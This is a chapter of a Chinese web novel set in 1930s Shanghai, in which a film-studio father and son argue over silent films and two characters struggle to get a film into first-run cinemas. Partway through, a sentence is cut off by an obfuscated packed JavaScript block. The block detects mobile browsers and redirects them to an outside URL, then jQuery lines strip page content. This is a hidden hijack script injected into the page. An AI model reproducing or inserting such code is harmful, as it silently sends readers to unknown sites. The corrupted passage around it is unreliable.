众一电影公司办公室。
邵同靠在皮转椅里,手指一下一下敲着桌面,手掌下压着的是一份刚送来的股价简报。
门被敲了两下,邵文谦走进来,随手带上门。
“坐。影院那边来催了,问咱们下个季度的片单。”
邵同开口,声音比平时透着一股压不住的焦躁,
“咱们手里还有三部默片,发行排期要不要变化,我想问问你的意见。”
邵文谦有些惊讶,因为邵同对他十分强势,从来不会听他的意见,这也是他出去自谋独立的原因。
“父亲,”他试探着,“因为什么想要变动排期呢?《楚月关山》的票房还是很可观的。”
邵同摇了摇头,“你看李记元发的影评没有?他把我们票房的成功,全部归功于周小姐的主意,说我们的影片本身乏善可陈。”
邵文谦沉默了两秒。
“何必理会他。”他说,语气淡淡的,“他们这些所谓的评论家,专长就是大放厥词。一部电影都没拍过的人,专职点评拍电影的人,真是可笑。”
邵同又摇了摇头,“这话有点道理,又不太有道理。照你这样说,你不下厨房,难道就不能点评饭店的饭好不好吃了么?”
邵文谦犹豫了一会儿,道,“父亲可是真心问我?”
邵同的眉头蹙了一下。
“问就是问了,还分真心假意?”他不悦道,声音硬了几分,“难道我的时间这么不值钱的么?”
邵文谦道:“那儿子就直言了,我认为,我们那三步默片,马上依次发行出去,然后转做有声片。我们的股价下跌,和我们的新立项还是默片脱不了干系。”
邵同再次摇了摇头。那摇头的动作不急不缓,像是在否定一个早已想过无数遍的念头。
“追热点,追热潮,终究是虚荣的浮华。”
他靠进转椅里,目光落向窗外灰蒙蒙的天。
“《楚月关山》质量不高,不是默片的错。是最近被有声片搅的,团队人心浮动,影片本身没有打磨好。这是浮躁带来的问题。”
他转回头,看向邵文谦,“我想,周小姐为咱们规划的路线,不会有错。”
“因此,”邵同继续说,语气里带着一种笃定,像在宣布一个早已想好的决定,“那三部默片先不上映,重新制作。然后拿去国际上评奖。你觉得怎么样?”
邵文谦看着父亲。
那张脸上,有难得的温和,甚至有几分征询的意思。可那征询底下,是一种不容置喙的信任,对一个比他的年纪还年轻的女人的信任。
他对此实在有些不满:
“父亲为何如此信任周小姐?她自己都赞扬有声电影,为何为我们规划默片的道路?父亲难道就不怀疑吗?”
邵同哼了一声,点燃一根雪茄,
“你说她给陆世铮规划的蓝图吗?那是商业片的蓝图。商业片,拍有声,我也赞同。但是她为我们规划的艺术片路线,卓别林也是赞同默片的,只有默片才能代表艺术,这个没有人不认可吧?”
邵同往椅背上靠了靠,姿态放松了些。
“我现在一把年纪,对金钱……虽然有欲望,但没有年轻时那么需要了。名利名利,名还在利前。如果能留名青史,商业上差一些,我也是可以接受的。”
邵文谦心里想,既然已经决定了,还问我干嘛?嘴上道:
“也是,那就全按父亲说的办。”
说完这句话,邵文谦突然想到一件事。
这些年,邵同和他商量过什么?公司的方向,人员的调配,资金的流向……哪一样不是邵同定了,他照办?
上阵亲兄弟,打仗父子兵,他们家不兴这个。他和父亲,只能是“谁打倒谁”的竞争关系。讲求的是一个“服”字。
如果他不能让父亲服气,父亲会把公司托付给谁?给那几个堂兄弟,或者是给那些跟在身边鞍前马后的老臣……
反正不会是他。
可今天……
今天父亲主动找他来,问他的意见。问他“你觉得怎么样”。
虽然还是已经决定的事,但这样算不算一个机会?
一个历练的机会?一个让他证明“我值得”的机会?
他转过身,“父亲,我有个想法。”
邵同看着他。
“三部片子全压着,风险太大了。不如先拿一部出来,重新制作后,在国内上映试试水。如果质量经得住那些影评家的嘴,再考虑送国外的事。”
邵同点了点头,“好,你觉得谁来负责这部的重制比较好?”
果然…
邵文谦心中狂跳,"我可以么?"
"当然可以。"
邵同走到窗边,双手负在身后,站定了,望着窗外。
“最近读史书,又有些新感悟,一时的得失,不用太介怀。万物不恒定,任何时候都有变数。公司有公司的变数,时代也有时代的变数,只不过人在局中,不知变数在何处罢了。”
是呀,变数在何处呢?
父亲这段话,意有所指,这个变数,会是自己吗?
邵文谦的内心又起了一阵涟漪。
***
“怎样?排片定下来了吗?”
周弥看李记元眉头拧着,说明带来的不是好消息。
果然……
“不行,全都不行。”
李记元把公文包打开,抽出一张画满标记的名单,往桌上一摊,
“咱们的片子是24格的,大部分影院根本没有这种放映条件。”
他指着名单上的几个名字,汇报道:
“中央大戏院、新中央、上海大戏院,这几家放国片的影院都是每秒16格的放映条件。”
又指着另外几个名字:
“大光明、光陆、卡尔登、奥迪安这几家倒是有新设备,能放24格。可我问过了,他们的排期,半年以前就排满了,全给米高梅、派拉蒙留着。”
他脸上写满了痛心疾首:
“总之,现在都是好莱坞大片的江山。大光明这样的头轮影院,跟米高梅签的是长期承租合同。咱们这种国产片,别说排期,连门槛都摸不着。二轮三轮的影院就更别提了。手
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17215650|193976||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
摇机倒是能调速,可人家一听是国产片,都不愿意占用资源,说观众都不爱看国产片,费那个劲,不如放两场好莱坞旧片。”
说到这,他一拍桌子,气哄哄地骂了起来:
“简直掉进钱眼里了!自己民族的东西不支持,为了赚钱只会捧洋鬼子的臭脚!”
周弥听李记元如此说,本来也很犯愁,但看他一个劲怒发冲冠,感觉两个人一起抱怨也没用,还是得解决问题。
她清了清嗓子,打断李记元继续输出愤怒的节奏:
“你刚才说的,大光明、光陆、卡尔登、奥迪安这几家影院,老板你认识么?”
李记元愣了愣,猜出她想笼络老板:"那走不通,这几家的老板都是外国人。”
他掰着手指头数:
“大光明是美国人开的,光陆现在是美商远东游艺公司在管,卡尔登的老板是英籍华人卢根但也算洋派,奥迪安虽然是中美合资,但主要是美籍总经理的话语权。这些洋人,咱们怎么说得动?”
他顿了顿,又补了一句:
“要笼络,我看二轮三轮的影院还可以试试。那些老板是中国人,咱们再去呼吁呼吁,总能唤起一个两个的爱国心吧!”
开什么玩笑,左右都是要拉下脸皮,难道只洒洒水?头轮多重要啊!
虽然周弥学的是电影史论,接触影片发行方面的知识不多,但她也浅浅阅读过一些相关知识。
在二十一世纪,一部电影可以在全国几千家影院同一天上映,数字拷贝一键分发,全国观众可以同一天看到同一部电影,早就没有头轮、二轮、三轮的概念了。
但在1930年的上海,电影拷贝都是实体的胶卷,制作和分发成本高昂,一部电影的发行拷贝数量有限,往往只有十几份到几十份。
这些有限的拷贝必须轮次使用:头轮影院放完一卷胶片,再送到二轮影院,二轮放完再送三轮。
也就是说,观众观影必定是有时间差的。
上海滩的电影院,又分三六九等。
头轮影院,就是大光明、光陆、卡尔登、奥迪安这几家,拥有着冷气、软沙发和美国进口的放映设备,可以说,全上海最好的东西都堆在那儿。
在头轮到三轮的过程中,影院设备逐级降档,票价层层递减,观众的期待也随之贬值。进不了头轮,就等于告诉全上海,这部电影卖不出去,是次品。
更致命的是,影评人和报馆记者只看头轮,片子进二轮,连个正经影评都捞不着,怎么打造口碑?总不能只指望李记元一个人夹带私货吧?
再说,票价也不一样。
头轮影院一张票,少说五毛到一块银元。二轮估计两毛。三轮更便宜,一毛五。如果放二轮,连本都收不回来。
所以……
“我们必须进头轮,绝不能让孩子输在起跑线上!”周弥斩钉截铁。
李记元急得直挠头:
“可这些头轮影院跟好莱坞签的是长期合同,排期半年以前就定好了,违约是要赔钱的!人家凭什么为了咱们这种小作坊违约?咱们做梦也得有个限度吧?”